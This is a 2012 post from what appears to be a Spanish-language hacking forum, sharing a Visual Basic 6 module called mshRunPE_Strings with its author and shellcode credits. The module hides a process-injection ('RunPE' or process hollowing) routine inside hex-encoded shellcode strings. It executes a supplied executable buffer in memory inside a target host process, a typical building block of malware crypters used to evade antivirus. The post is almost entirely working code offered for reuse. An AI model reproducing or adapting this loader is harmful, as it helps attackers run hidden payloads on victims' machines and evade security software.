comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

mshRunPE_Strings <-- a mod of shRunPE

  • 0 Respuestas
  • 3217 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Junio 17, 2012, 03:34:21 pm »
Código: Visual Basic
  1. Option Explicit
  2.  
  3. '---------------------------------------------------------------------------------------
  4. ' Module    : mshRunPE_Strings
  5. ' Author    : iCodeInVB6
  6. ' Now       : 05/16/2012 11:40
  7. ' Purpose   : Run executable in memory
  8. '             Only uses CallWindowProc & shellcode
  9. ' Credits   : hamavb <-- made the shellcode!
  10. ' Tested    : Win7 x64
  11. '---------------------------------------------------------------------------------------
  12.  
  13. 'USER32
  14. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  15.  
  16. Private s_ASM(7) As String
  17. Private b_ASM(1287) As Byte
  18.  
  19. Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
  20.     Dim i As Long
  21.     Dim j As Long
  22.     Dim k As Long
  23.  
  24.     s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  25.     s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  26.     s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  27.     s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  28.     s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  29.     s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  30.     s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  31.     s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  32.  
  33.     For i = 0 To 7
  34.         For j = 1 To 322 Step 2
  35.             b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
  36.         Next j
  37.     Next i
  38.  
  39.     CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
  40. End Sub

Fuente: Imsecure
« Última modificación: Mayo 12, 2014, 03:34:36 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!



shRunpe By hamavb

Iniciado por Expermicid

Respuestas: 0
Vistas: 3213
Último mensaje Junio 17, 2012, 03:37:16 pm
por Expermicid